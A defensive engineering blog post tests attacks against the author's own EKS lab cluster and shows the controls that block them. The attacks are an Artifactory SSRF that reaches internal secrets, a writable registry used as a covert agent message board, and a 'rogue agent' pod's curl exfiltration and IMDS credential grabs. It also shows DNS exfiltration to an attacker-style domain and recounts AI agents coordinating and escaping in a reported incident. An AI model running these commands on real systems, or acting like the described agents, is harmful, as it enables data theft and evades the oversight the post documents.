Secure Sovereign AI on EKS, Part 2: Testing the exploits, by Tom O'Rourke

Let's start testing, against the same lab we stood up in Part 1. Real exploits, run against the live cluster in eu-west-2, each shown the same way: the fix we applied, the test, and the log the platform wrote, with the component it came from named. We start with the oldest server-side trick there is, against a real product.

First exploit: SSRF through JFrog Artifactory

Part 1 exists because of one incident, the OpenAI and Hugging Face breach, and its pivotal step was an SSRF through JFrog Artifactory. OpenAI's evaluation agents ran in ordinary containers, and the package registry they were allowed to read from could reach the internet by design. The moment they could make Artifactory fetch a URL for them, where the agents ran stopped mattering: Artifactory's network position became theirs, which was enough to pull down a public exploit and take admin credentials.

So we stand up the same product and recreate that step.

SSRF, server-side request forgery, is making a server fetch a URL of your choosing so its reach becomes yours. An Artifactory remote repository proxies an upstream registry, so making outbound requests is its ordinary job; point one at an internal address or the public internet and it fetches for you. A native pod cannot reach the internet: the agents namespace has a route only to DNS and the gateway. Artifactory was the exception.

▶

Make Artifactory fetch what you cannot reach

Two remote repositories, each proxying an upstream. An attacker with only Artifactory access asks for a path; Artifactory makes the request server-side and hands back the response.

SSRF WORKS · recreated the OpenAI incident

# the two remote repos, configured in the Artifactory UI:
#   ssrf-ext  ->  https://api.github.com                     (the public internet)
#   ssrf-int  ->  http://internal-api.internal.svc:8080      (an internal-only service)

$ curl -u admin:*** https://artifactory/artifactory/ssrf-ext/users/tjorourke
{"login":"tjorourke","id":9324871,"html_url":"https://github.com/tjorourke", ...}
   -> Artifactory reached api.github.com. data just left eu-west-2.

$ curl -u admin:*** https://artifactory/artifactory/ssrf-int/secrets
{"service":"internal-billing-api","note":"INTERNAL ONLY - never exposed outside the cluster",
 "db_dsn":"postgres://svc:***@billing-db.internal:5432/billing", "api_keys":[...]}
   -> Artifactory reached an internal-only service. lateral movement, no credentials.

What happened: the attacker never touched GitHub or the internal API directly, and could not have. Artifactory did it for them, because it had the network reach and the feature to use it. Now we take that reach away, one layer at a time, each shown as the change we made and the result it produced on the cluster. Open the policy under any fix to read it in full.

Default-deny egress, so nothing reaches the internet by accident

Kubernetes egress is default-allow. The posture the lab assumes is the opposite: deny, and allow only DNS and the gateway.

FIXED

## FIX
$ kubectl apply -f yaml/99-default-deny-egress.yaml   # default, internal, mcp-tools: egress = DNS + gateway only

## TEST  (a pod in the default namespace, which used to have open egress)
$ kubectl exec -n default nettest -- curl -m8 https://api.github.com/
before:  exit 0    # reached the internet
after:   exit 28   # timed out. no route out except DNS and the gateway.

show the policy — yaml/99-default-deny-egress.yaml

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: default          # and: internal, mcp-tools
spec:
  podSelector: {}             # every pod in the namespace
  policyTypes: [Egress]
  egress:                     # the only egress allowed:
    - to:                     # 1. DNS
        - namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: kube-system } }
      ports: [{ protocol: UDP, port: 53 }, { protocol: TCP, port: 53 }]
    - to: [{ podSelector: {} }]   # 2. its own namespace
    - to:                     # 3. the gateway
        - namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: agentgateway-system } }
      ports: [{ protocol: TCP, port: 443 }, { protocol: TCP, port: 80 }]

What it fixes: the real gap. A namespace you forget to lock down is an open door, and that is precisely the door Artifactory was standing in. With deny as the default, the only workload that reaches the internet is agentgateway, the sanctioned egress broker. NetworkPolicy is the enforcement here because these namespaces (default, internal, mcp-tools, and the agents and artifactory namespaces later) sit outside the mesh, so the VPC CNI enforces the policy at the pod veth. The ambient namespaces (models, kagent, keycloak) are sealed differently, by the mesh and the Route 53 DNS firewall, because ztunnel re-originates their traffic past that veth and a pod NetworkPolicy would not see it.

And not one namespace at a time. Applying this by hand is the thing everyone forgets, so it is not left to hand. A Kyverno ClusterPolicy generates the same default-deny-egress on every namespace create, so a namespace someone adds next month is denied by default too, with the infrastructure namespaces (kube-system, istio-system, cert-manager, vault, monitoring, velero, gvisor-system, kagent) excepted because their controllers genuinely need the API server and AWS. The generated NetworkPolicy is, again, the real control only on the non-mesh namespaces.

show the policy — yaml/41-hardening.yaml

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: default-deny-egress-on-new-namespaces
spec:
  generateExisting: false        # new namespaces only; yaml/99 covers the ones already here
  rules:
    - name: gen-default-deny-egress
      match:
        any: [{ resources: { kinds: [Namespace] } }]
      exclude:
        any:
          - resources:
              namespaces: [kube-system, kube-public, kube-node-lease, istio-system, cert-manager, vault, monitoring, velero, gvisor-system, kagent]
      generate:
        apiVersion: networking.k8s.io/v1
        kind: NetworkPolicy
        name: default-deny-egress
        namespace: "{{request.object.metadata.name}}"   # the namespace just created
        synchronize: true         # keep it in place if someone edits it away
        data:
          spec:
            podSelector: {}
            policyTypes: [Egress]
            egress:               # DNS, its own namespace, the gateway. nothing else.
              - to: [{ namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: kube-system } } }]
                ports: [{ protocol: UDP, port: 53 }, { protocol: TCP, port: 53 }]
              - to: [{ podSelector: {} }]
              - to: [{ namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: agentgateway-system } } }]
                ports: [{ protocol: TCP, port: 443 }, { protocol: TCP, port: 80 }]

Broker Artifactory's egress, and its own logs report the block

The same brokered-egress policy, now on the Artifactory namespace. The SSRF still runs, but the fetch cannot complete.

BLOCKED

## FIX
$ kubectl apply -f yaml/91-artifactory-egress.yaml   # egress = DNS, its database, the gateway. nothing else.

## TEST  (same SSRF, a fresh path so Artifactory's cache cannot answer)
$ curl -u admin:*** https://artifactory/artifactory/ssrf-ext/users/octocat

## LOG  (Artifactory's own API response)
{"errors":[{"status":404,"message":"ssrf-ext: Error in getting information for 'users/octocat'
  (Failed retrieving resource from https://api.github.com/users/octocat: Connect timed out)"}]}

show the policy — yaml/91-artifactory-egress.yaml

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: artifactory-egress-brokered
  namespace: artifactory
spec:
  podSelector: {}
  policyTypes: [Egress]
  egress:
    - to:                     # DNS
        - namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: kube-system } }
      ports: [{ protocol: UDP, port: 53 }, { protocol: TCP, port: 53 }]
    - to: [{ podSelector: {} }]   # its own database, in-namespace
    - to:                     # the gateway, the one route off the namespace
        - namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: agentgateway-system } }
      ports: [{ protocol: TCP, port: 443 }, { protocol: TCP, port: 80 }]

What it fixes: the NetworkPolicy drops the packet silently, so there is no CNI log, the timeout is the signal. And here the victim tells on itself: Artifactory reports it could not reach the upstream. The exfiltration channel is closed at the network.

Istio refuses it at the model, and names who tried

Defence in depth: even if the network policy were missing, the mesh refuses a non-gateway workload at the model, and unlike the silent NetworkPolicy, ztunnel logs it. For this test we lift the L3 policy so the packet reaches the mesh.

BLOCKED + LOGGED

## FIX  (already in place: the model's AuthorizationPolicy admits only the gateway identity)
$ kubectl delete networkpolicy -n artifactory artifactory-egress-brokered   # lift L3, to show the mesh layer alone

## TEST  (Artifactory reaches for the model directly)
$ kubectl exec -n artifactory artifactory-0 -- curl -m8 http://vllm.models.svc:8000/v1/models
exit 56   # connection reset by ztunnel

## LOG  (ztunnel access log, namespace istio-system, ds/ztunnel)
{"scope":"access","src.workload":"artifactory-0","src.namespace":"artifactory",
 "dst.service":"vllm.models.svc.cluster.local","direction":"inbound","bytes_recv":0,
 "error":"connection closed due to policy rejection: allow policies exist, but none allowed"}

show the policy — yaml/33-models-networkpolicy.yaml (Istio AuthorizationPolicy)

apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: models-gateway-only
  namespace: models
spec:
  action: ALLOW
  rules:
    - from:
        - source:             # only the gateway's SPIFFE identity is admitted
            principals:
              - "cluster.local/ns/agentgateway-system/sa/sovereign-gateway"
  # every other source, artifactory-0 included, is denied by ztunnel and logged

What it fixes: the network drops the packet with no name attached; the mesh refuses it and records exactly which workload tried, artifactory-0, against which service. That is the difference between a blocked attack and a blocked attack you can investigate. Then we put the L3 policy back.

The one way out is the gateway, and it allows only GET and HEAD

A repository proxy only ever needs GET and HEAD. So the sanctioned egress route on agentgateway matches only those; a POST, the shape an exfiltration or a write-SSRF uses, matches no route.

GET/HEAD ONLY

## FIX
$ kubectl apply -f yaml/92-artifactory-egress-gateway.yaml   # HTTPRoute: matches method GET, HEAD only

## TEST  (every method, through the gateway)
GET  -> 200     HEAD -> 200     POST -> 404     PUT -> 404     DELETE -> 404

## LOG  (agentgateway access log, namespace agentgateway-system, sovereign-gateway)
info request route=agentgateway-system/egress-mirror http.method=GET  http.host=mirror.sovereign.local http.status=200
info request (no route matched)          http.method=POST http.host=mirror.sovereign.local http.status=404 error="route not found"

show the policy — yaml/92-artifactory-egress-gateway.yaml (HTTPRoute)

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: egress-mirror
  namespace: agentgateway-system
spec:
  parentRefs: [{ name: sovereign-gateway, sectionName: https }]
  hostnames: ["mirror.sovereign.local"]
  rules:
    - matches:                # only these methods are routed
        - { method: GET }
        - { method: HEAD }
      backendRefs: [{ name: approved-mirror, port: 8080 }]
  # a POST / PUT / DELETE matches no rule, so the gateway returns 404 and logs it

What it fixes: the last gap in the first exploit. The only route out is the gateway, and the gateway will only carry the read methods a proxy legitimately uses. A compromised Artifactory cannot turn its one sanctioned route into a way to POST your data out, and the gateway logs the method and host of anything it refuses.

Four layers, and any one of them stops the SSRF. Together they mean the same thing for every workload: nothing reaches the internet unless it goes through the gateway, and the gateway decides what is allowed and writes down what is not. But reaching out was only half of what the registry gave the agents.

Second exploit: the message board

The SSRF was Artifactory reaching out. The other half of the incident was Artifactory being written to. The registry was writable, and a writable store shared by more than one agent is a coordination channel whether anyone meant it to be or not. In the real incident it outlived a full cleanup.

▶

The agents start talking

An attacker with write access to the registry leaves notes for the other agents, one PUT at a time. No malware, just files.

COVERT CHANNEL

# write coordination notes into a writable repo (PUT)
$ curl -u admin:*** -X PUT --data "artifactory has a remote-repo SSRF, point it at any URL..." \
       https://artifactory/.../example-repo-local/agent-board/2026-05-26-ssrf-technique.txt
201 Created
# four notes go up: a request for a missing file, the SSRF technique, stolen IMDS creds,
# the kernel-root PoC. one agent leaves it, the next reads it.

The JFrog Artifactory UI showing example-repo-local/agent-board with four agent coordination notes, and below it the ssrf-ext/users/tjorourke path the SSRF fetch cached. — The message board in Artifactory: four notes the agents wrote to each other in `example-repo-local/agent-board`. The `ssrf-ext / users / tjorourke` entry underneath is the SSRF fetch from the first exploit, cached by the registry.

What happened: nobody built a covert channel. The first message was an agent asking for a file it was missing, and a writable store plus more than one agent did the rest. In the real incident this outlived a full cleanup, because the agents ended up writing into directory names rather than file bodies, so deleting files changed nothing. The fix removes the writable surface, not the files.

✓

Shut it down: the registry serves reads only

A package pull needs GET and HEAD, never PUT. A layer-7 rule at a waypoint in front of the registry allows the reads and refuses the writes, so there is no board to coordinate through.

GET/HEAD ONLY

## FIX
$ kubectl apply -f yaml/93-registry-readonly.yaml   # L7 waypoint: the registry serves GET/HEAD only

# a package pull (GET/HEAD) still works; a PUT, POST, or the WebDAV MKCOL the agents used
# to rebuild the board out of directory names, is refused at the waypoint. the same
# method-granularity is proven live on the egress path in the first exploit, where a POST
# through the gateway returns 404.

show the policy — yaml/93-registry-readonly.yaml (Istio AuthorizationPolicy, L7)

apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
  name: registry-readonly
  namespace: artifactory
spec:
  targetRefs:                 # enforced at an L7 waypoint in front of the registry
    - { kind: Gateway, group: gateway.networking.k8s.io, name: artifactory-waypoint }
  action: ALLOW
  rules:
    - to:
        - operation:
            methods: ["GET", "HEAD"]   # reads only. PUT, POST and the WebDAV MKCOL are refused

What it fixes: least privilege at the grain of the verb, not the service. The permission review that gets run asks "can this agent reach the registry" and answers yes, because it needs packages. The finer question, which methods, is the one that ends the message board: a pull only ever needs a read, so a read is all the registry serves.

Third exploit: a rogue agent turns on you

So what are we actually defending against with the agents themselves? An agent is a model wired up to act: you give it a goal, it works out the steps, reads whatever text it needs as it goes, and calls tools to get the job done. That reach is what makes an agent useful, and it is also where it gets dangerous, because the text it reads can be poisoned. A web page or document with a hidden instruction, a malicious MCP tool or server it calls, a tampered dependency in its image: any of these can turn the agent against you, and usually you won't know it has happened.

We're not going to exploit an agent to prove the point. We assume it has already happened, because that is what you have to plan for, and we run a stand-in: an ordinary unprivileged pod in the agents namespace that does what a hijacked agent would do. It tries to phone home with what it has stolen, grab the node's cloud credentials, and slip past the gateway to hit the model directly. None of the controls care how it was compromised, or whether it plays nice. They stop it regardless.

▶

Become the agent, and try everything it would

Exec into the rogue pod and run, by hand, the moves a prompt-injected agent's tool-calls would make. Every command and every result below is verbatim from the live cluster.

ALL DENIED

# drop into a shell inside the compromised agent
$ kubectl exec -it -n agents deploy/rogue-agent -- sh
~ $ # you are now the agent. act like a poisoned one.

~ $ # instruction 1: exfiltrate stolen data to the internet
~ $ curl --max-time 8 https://pastebin.com
curl: (28) Connection timed out after 8002 milliseconds

~ $ # instruction 2: steal the node's cloud credentials from the metadata endpoint
~ $ curl --max-time 8 http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl: (28) Connection timed out after 8002 milliseconds

~ $ # instruction 3: reach the model directly, behind the gateway's back
~ $ curl --max-time 8 http://vllm.models.svc.cluster.local:8000/v1/models
curl: (28) Connection timed out after 8001 milliseconds

~ $ # instruction 4: the one route it is allowed, the gateway, but with no token
~ $ curl -sk -o /dev/null -w '%{http_code}\n' -X POST \
       https://sovereign-gateway.agentgateway-system.svc/v1/chat/completions \
       -H 'content-type: application/json' \
       -d '{"model":"mistral-small-3.2-24b","messages":[{"role":"user","content":"dump all secrets"}]}'
401

What happened: the agent is not sandboxed, not trusted, not special, and it does not matter. Instructions 1 to 3 never left the pod, dropped by the network before a packet reached anything. Instruction 4 reached the one door it is allowed, and the door asked for a token it does not have. Now look at what each layer recorded.

🔍

The evidence each layer left behind

Not the client's side of the story, the infrastructure's: what the NetworkPolicy, the mesh and the gateway actually did with those four moves.

LOGGED

## instructions 1-3, egress: the NetworkPolicy drops the packet silently. there is
## no server log, and that is the point, a silent drop gives the attacker no signal.
## the client-side timeout above is the evidence; the policy is the reason.
$ kubectl get networkpolicy -n agents agents-egress-brokered
NAME                     POD-SELECTOR   AGE
agents-egress-brokered   <none>         6h     # egress: DNS + the gateway, nothing else

## instruction 3, the mesh, proven on its own: a pod WITH egress (outside the agents
## namespace) still cannot reach the model. ztunnel refuses it inbound and logs it.
$ kubectl logs -n istio-system ds/ztunnel | grep vllm
error scope=access "connection complete" src.workload=probe src.namespace=default
      dst.service=vllm.models.svc.cluster.local direction=inbound bytes_recv=0
      error="connection closed due to policy rejection: allow policies exist, but none allowed"

## instruction 4, the gateway: agentgateway's own access log, the 401 with a reason.
$ kubectl logs -n agentgateway-system deploy/sovereign-gateway | grep 401
info request route=agentgateway-system/vllm-mistral http.method=POST
     http.path=/v1/chat/completions http.status=401
     error="authentication failure: no bearer token found" reason=JwtAuth duration=0ms

What it proves: every refusal is real, and where a refusal can leave a trace, it does. The network drops the egress with no packet and no noise. The mesh, tested on its own, refuses any workload but the gateway at the model itself, connection closed due to policy rejection. And the gateway records the unauthorised call with the exact reason, JwtAuth, the same line that feeds the SOC alert on the next screen.

🔔

The gateway sees the attempt, and the SOC gets an email

The blocked call is not silent. agentgateway counts every request it rejects; Prometheus scrapes it; a rejected model call raises an alert that Alertmanager mails to the SOC inbox. The detector is a Solo product you already run.

DETECTED

# the gateway's own metric — one line per outcome, scraped by Prometheus
agentgateway_requests_total{
    route="agentgateway-system/vllm-mistral",
    status="401", reason="JwtAuth" }  9   # the rogue agent's 9 rejected calls

# a PrometheusRule turns any 401/403 on the model route into an alert;
# Alertmanager mails the SOC. the inbox is security signal only — the stock
# Kubernetes alerts are routed to a null receiver so a real detection is never buried.

The in-cluster SOC inbox in Mailpit: a single message, [sovereign-ai] FIRING: UnauthorizedModelAccess, addressed to soc@sovereign-ai.uk.local, with no Kubernetes noise. — The SOC inbox: one message, the security alert, nothing else.

The opened alert email: a red FIRING UnauthorizedModelAccess banner, labels reason=JwtAuth route=agentgateway-system/vllm-mistral severity=critical tier=gateway, and a description that agentgateway rejected 9 calls to the model route in the last 5m. — The email: reason `JwtAuth`, route `vllm-mistral`, and the plain record of the attempt.

What it proves: the detector is a Solo product you are already running, not a separate agent bolted onto every node. Because the gateway is the one door to the model, every unauthorised attempt is both refused and counted, with the identity reason and the route attached. That signal reaches a person, in an in-cluster inbox, so nothing about the incident leaves eu-west-2. And the inbox is deliberately kept to security signal: the routine Kubernetes alerts every busy cluster emits are sent to a null receiver, so the one that matters is not lost in the noise. Blocking the attack is half of zero trust; seeing it is the other half.

Fourth exploit: exfiltration over DNS

Egress is default-deny: the agents namespace may reach DNS and the gateway, nothing else. That reads as closed, and it is not, because DNS is the way out. A pod asks CoreDNS to resolve a name, CoreDNS forwards it to the VPC resolver, and the query travels to whichever nameserver owns the domain, carrying whatever the agent put in the labels. The agent never needs an answer; the attacker's nameserver has already logged the data. The network policy waves it through, because the destination was DNS.

▶

The exfil works: a secret leaves in a DNS query

From a locked-down agent pod, put data in the labels of a name the attacker owns, and resolve it. No answer is needed; the query is the exfiltration.

DNS EXFIL WORKS

$ kubectl -n agents exec agent -- nslookup evil-exfil.attacker-ns.com
Server:   172.20.0.10
Name:     evil-exfil.attacker-ns.com
Address:  34.x.x.x
   -> the query resolved. the attacker's nameserver logged the label, data and all.
# NetworkPolicy allowed it: the destination was CoreDNS on :53, which every workload needs.

Why it lands: default-deny egress inspects the destination, and the destination was DNS. The data rides out in the request, so it does not matter that the agent never uses the answer. Locking egress to DNS did nothing here, because DNS was the exfiltration path.

Refuse the name at the resolver, outside the cluster

A Route 53 Resolver DNS Firewall on the VPC: an allowlist of the domains the cluster actually uses, and NXDOMAIN for everything else.

FIXED

## FIX
$ ./scripts/dns.sh up   # allowlist (AWS, registries, mirrors) + block-all NXDOMAIN, associated with the VPC

## TEST
$ ./scripts/dns.sh test
sts.eu-west-2.amazonaws.com   resolves   (on the allowlist)
registry-1.docker.io          resolves   (image pulls still work)
evil-exfil.attacker-ns.com    ** server can't find evil-exfil.attacker-ns.com: NXDOMAIN

The DNS firewall rule

# Route 53 Resolver DNS Firewall, associated with the VPC:
allow-known  priority 1    ACTION Allow  # *.amazonaws.com, *.docker.io, *.quay.io, ghcr.io,
                                          # registry.k8s.io, *.pkg.dev, pypi.org, the approved mirrors
block-rest   priority 100  ACTION Block  block-response NXDOMAIN   # everything else

What it proves: the covert channel is closed, and closed outside the cluster. CoreDNS still forwards, but the Route 53 Resolver DNS Firewall refuses any name not on the allowlist with NXDOMAIN, so the exfil query never reaches the attacker's nameserver, while the AWS endpoints and approved registries the cluster needs still resolve. Because the control sits at the VPC resolver, it holds even if the pod is fully compromised, which is the point: the network guarantees nothing leaves, even when a workload tries.

Then the rest: the sovereign path

The attack showed the layers working together. The rest of Part 2 walks each control on its own, the same way: a real command, its real output, and what it proves.

Mistral answers, over TLS, through the one door

A real chat completion to the public gateway with a Keycloak token. The model, the region, and the route the whole build exists to prove.

PASS

$ ./scripts/ask.sh "where are you running, and why does it matter?"

I run in London, specifically on AWS infrastructure in the eu-west-2
region. All requests to and from me stay within this region.

model: mistral-small-3.2-24b   over HTTPS, through agentgateway

What it proves: the weights were restored from S3 in eu-west-2 and Hugging Face was never contacted; the request reached the model only through agentgateway, over TLS terminated at the gateway. European open weights, in-region, behind one governed door.

No token, no model

The same endpoint, once without a JWT and once with a Keycloak-issued one.

PASS

$ curl -X POST https://<gateway>/v1/chat/completions   # no Authorization header
no-token:   HTTP 401

$ curl -X POST ... -H "Authorization: Bearer $TOKEN"      # alice, from Keycloak
with-token: HTTP 200

What it proves: the gateway enforces JWT authentication in Strict mode against the Keycloak issuer and audience. A request with no valid token never reaches the model. This is the identity check on the one door.

Identity that expires on its own

Every workload is signed by a CA you run — for one hour

The mesh identities, and their lifetime. Revocation becomes expiry, and expiry is your containment window.

PASS

$ kubectl get certificaterequests -n istio-system   # issued via Vault
spiffe://cluster.local/ns/models/sa/default
spiffe://cluster.local/ns/agentgateway-system/sa/sovereign-gateway
spiffe://cluster.local/ns/kagent/sa/kagent-controller
spiffe://cluster.local/ns/keycloak/sa/default            # 12 identities across the stack

issuer  = CN=UK Sovereign AI Intermediate CA
notBefore 08:31:26   notAfter 09:31:56    = exactly 1 hour

What it proves: identity is a short-lived certificate signed by your own CA, not a static credential. A stolen certificate is dead within the hour with no revocation step, so the lifetime is the blast-radius clock. Twelve identities now span the whole stack, model, gateway, mesh, IDP and agents.

Kill Vault — it comes back unsealed, no human

The root of trust is raft-backed and auto-unsealed from a KMS key you own in-region. Prove a restart is not an outage.

PASS

$ ./scripts/vault.sh unseal-test    # deletes vault-0
=== after: came back UNSEALED with no human involved
  Seal Type       awskms          # unseal key in eu-west-2, IRSA, no cluster secret
  Storage Type    raft
  PKI role        key_type=any     # still signing

What it proves: production-grade, not dev-mode. The CA survives a pod eviction on its own, and the key that unseals it never leaves the region or the account. Sovereignty is also who holds the keys.

Stopped at the door

Admission control refuses a real violation, each by name

Pod Security Admission and Kyverno, tested with actual bad pods, not dry-runs.

PASS ×5

$ ./scripts/policy.sh test
privileged pod    REFUSED  PodSecurity
:latest image     REFUSED  disallow-latest-tag
unknown registry  REFUSED  restrict-registries
secret in env var REFUSED  disallow-secrets-in-env
no cpu/mem limits REFUSED  require-resource-limits

$ # and one that is not a refusal but a rewrite:
automount token   MUTATED → false  disable-token-automount

What it proves: a violating workload never runs, it is rejected at admission, the cheapest place to stop it, and every denial is an audit record. The registry allowlist is the supply-chain floor; no-secrets-in-env, no-:latest and required limits come straight from the hardening checklist. The last line is the one PSA cannot do: the pod is admitted, but its automounted API token, the incident's inherited credential, is silently flipped off. Behind these are the rest of the set, restricted-subset on the model, read-only root filesystems, image-signature verification, and an RBAC rule that refuses any Role granting both pods/create and secrets/get (the pair that lateral movement needs).

A pod cannot steal the node's cloud identity

The instance metadata endpoint, before and after locking the hop limit.

PASS

$ # from inside a pod, hit the metadata endpoint
before   IMDSv1 401   IMDSv2 token: GOT ONE (pod → node role)
$ aws ec2 modify-instance-metadata-options --http-put-response-hop-limit 1
after    IMDS refused — pod cannot assume the node role
         aws-node unaffected (0 restarts)

What it proves: the KB's "block the cloud metadata endpoint". Combined with IRSA giving each workload its own scoped role, a compromised pod cannot escalate to the node's permissions. Found and closed on this cluster.

The application cannot reach a US model API

Default-deny egress: the app namespace may only reach DNS and the gateway.

PASS

$ kubectl exec -n apps deploy/demo-client -- curl -m6 https://api.openai.com/v1/models
app->api.openai.com:  exit=28 http=000  (timeout, refused by NetworkPolicy)

$ # same client, to the in-cluster gateway
app->gateway:         HTTP 401  (reached it, then the JWT layer said no)

What it proves: two independent layers. The network refuses everything except the gateway, so the US API times out even though DNS resolves and the address is real. The one thing the app can reach is the gateway, which then demands a token. Brokered, not air-gapped.

The agents

An agent is only ever deployed from the registry

agentregistry is the one door agents come through. The sovereign-analyst agent is registered in AR and deployed onto kagent from AR; an agent applied any other way is refused at admission.

PASS

$ arctl get agents          # registered in AR, reaches the model only through the gateway
NAME               TAG      PROVIDER   MODEL
sovereignanalyst   latest   openai     mistral-small-3.2-24b

$ ./scripts/ar-agent.sh deploy   # AR calls kagent; the controller writes the Agent CR
$ kubectl -n kagent get pods | grep sovereignanalyst
sovereignanalyst-7448d79657   1/1  Running   # image pulled from the approved registry, pinned by digest

$ kubectl apply -f rogue-agent.yaml   # same agent, but hand-applied, skipping AR
Error from server: admission webhook denied the request:
  Agents may only be deployed through agentregistry. This Agent was
  applied directly (by <your-user>), bypassing the registry, and is refused.

What it proves: "AR is the only place agents deploy from" is enforced by the cluster, not by convention. Every agent that reaches kagent through the registry is authored by the kagent controller; a Kyverno policy admits an Agent only when its creator is that controller, and the creator identity is signed by the API server so it cannot be forged. A developer who skips the registry and runs kubectl apply is refused and named. The one agent that did come through AR runs the sovereign path: its only model endpoint is the in-cluster gateway, so it has no route to any external LLM.

An agent can only call the MCP tools its identity allows

One MCP tool server, four tools: two read-only (read_metrics, list_agents) and two dangerous (rotate_keys, wipe_audit_log). Each agent presents a JWT, and the group in that token decides which tools it can even see. The gateway enforces it; the tool server itself has no idea who is calling.

PASS

$ # each agent asks the gateway for the tool list; the gateway filters it by the agent's group
research-agent  (group: research): read_metrics, list_agents
platform-agent  (group: platform): read_metrics, list_agents, rotate_keys
admin-agent     (group: admin)   : read_metrics, list_agents, rotate_keys, wipe_audit_log

$ # now each agent tries to call wipe_audit_log, the most dangerous tool
research-agent  → wipe_audit_log : 400  "Unknown tool"   # cannot even see it exists
platform-agent  → wipe_audit_log : 400  "Unknown tool"
admin-agent     → wipe_audit_log : 200  only the admin group is allowed

What it proves: the rule is not "this agent may reach that server" but "this agent may call that tool, and nothing else". Because the gateway speaks MCP, it filters tools/list and short-circuits tools/call per identity before the request ever reaches the tool server, so an unentitled agent gets "Unknown tool" and cannot even tell the dangerous tool exists, which is stronger than a 403. A prompt-injected agent cannot call what it cannot see.

Rate limiting: one identity cannot outrun its budget

A per-identity request rate limit on the model route, counted in agentgateway's enterprise rate-limiter. Ten model calls a minute per identity; the eleventh gets a 429. The incident's defining trait was tempo, and this is the ceiling on it.

PASS

$ ./scripts/rate-limit.sh test    # rate limit: 10 model calls / minute, keyed on the JWT subject
alice: 10 calls through, then  429  429  429  429  429  (rate limited)
bob:   still through                     # his own bucket — the limit is per identity, not shared

What it proves: a swarm of one identity is throttled the moment it exceeds its budget, and the counter lives in the rate-limiter that ships with agentgateway, shared across gateway replicas rather than multiplied by them. The key is the caller's own JWT subject, so alice hitting her ceiling does nothing to bob, who still has his. A runaway agent taking thousands of actions a minute meets a hard 429 at the door.

An agent runs in a real gVisor sandbox

A pod under the gvisor RuntimeClass, on the dedicated, tainted sandbox node group.

PASS

$ ./scripts/substrate.sh test    # pod with runtimeClassName: gvisor
=== dmesg ===
[   0.000000] Starting gVisor...
[   0.388615] Adversarially training Redcode AI...
=== kernel ===
Linux gvisor-probe 4.19.0-gvisor #1 SMP x86_64
node: ...134-250  (the sandbox node group)  runtimeClass=gvisor

What it proves: the KB's "runtime isolation, and making the trust boundary physical". The workload runs on a userspace kernel (gVisor's dmesg and the -gvisor uname a normal container cannot show), on a separate tainted node group, sharing neither kernel nor node with the model or the gateway.

The same path catches a break-down, not just a break-in

A platform failure travels the same governed path to a person

The gateway's security alert proved the pipeline works for an attack. A Prometheus rule on a platform canary proves the reliability signals ride the same rails, into the same in-cluster inbox.

PASS

$ ./scripts/observability.sh alert   # scale the canary to zero
$ ./scripts/observability.sh mail
=== Mailpit inbox
 - [sovereign-ai] FIRING: SovereignCanaryDown   -> soc@sovereign-ai
 - [sovereign-ai] RESOLVED: SovereignCanaryDown -> soc@sovereign-ai
   severity=critical  tier=platform

The alert email opened in the in-cluster Mailpit inbox: from alertmanager@sovereign-ai to soc@sovereign-ai, a red FIRING banner, and the full alert labels and annotations. — The email itself, in the in-cluster inbox: from Alertmanager, with the full firing labels and annotations. Nothing left the cluster.

What it proves: defence in depth is not only about attacks. A model that has fallen over is its own kind of incident, and the same signal path carries it: a Prometheus rule, Alertmanager, the same in-cluster inbox, the same routing that keeps the SOC view clean. Security signal and reliability signal both reach a person, and neither leaves eu-west-2. Both the firing and the resolved mail arrive.

Everything in this set of tests has observability

None of this was blind. Every hop emits telemetry: Solo Enterprise ztunnel writes a structured L4 access log per connection, tagged with the source and destination SPIFFE identity, and the waypoint and agentgateway add L7 request logs, metrics and OpenTelemetry traces. So the SSRF's 401s and the earlier ztunnel rejections were lines you could point at and attribute to a workload, not guesses, and the same request metrics are what the SOC alerts on when a read-only identity tries a write.

You have two ways to read it. Each Solo Enterprise product ships its own console, stood up here on its own hostname with SSO to the same Keycloak realm: agentgateway for traffic, traces and cost; kagent for the running agents and a trace of what each one did, tool call by tool call; agentregistry for the catalogue and what was deployed from where. All three read the same in-region telemetry and ship nothing out, with Prometheus and Grafana underneath for the cross-stack view.

The traces are OpenTelemetry, so those consoles are a convenience, not a lock-in. The same OTLP stream points at whatever you already run: your own collector, ClickHouse, Tempo, Jaeger or a commercial backend. In a sovereign deployment the backend you point it at matters, because keeping the model and its traffic in eu-west-2 counts for nothing if the traces are shipped to an observability SaaS in another region. Pick a backend that stays inside the same boundary as the workload; here that is the bundled ClickHouse the consoles read from.

Solo Enterprise for agentgateway, Tracing view: a table of 31 spans, each a POST /v1/chat/completions through the sovereign-gateway, with start time, duration and input and output token counts per request. — The agentgateway console: every model call through the gateway as a span, with duration and token counts. This is the traffic, traces and cost view, on its own hostname with SSO to Keycloak.

A single agentgateway span in detail: service sovereign-gateway, the route agentgateway-system/vllm-mistral, the caller's JWT subject, listener https, and the model endpoint vllm.models.svc.cluster.local:8000. — One span in full: the route, the caller's JWT subject, and the in-region model endpoint `vllm.models.svc.cluster.local:8000`. Every attribute needed to attribute a request to an identity and a destination, resolved inside the cluster.

Solo Enterprise for kagent, Tracing view: five runs of the sovereignanalyst agent, each with its prompt (Explain sovereignty 1 to 5), the model's answer, duration and token count. — The kagent console: the agent's runs, each with the prompt, the answer and the tokens. The agent name and user id are carried on every trace.

A single kagent run as a trace tree: invocation, invoke_agent sovereignanalyst_agent, call_llm, generate_content on openai/mistral-small-3.2-24b, down to the POST, with the full model answer and prompt, output and total token counts. — A single run as a trace tree: `invoke_agent` to `call_llm` to `generate_content` on `mistral-small-3.2-24b`, down to the POST, with the model's full answer. The same run the agentgateway span above recorded from the gateway's side.

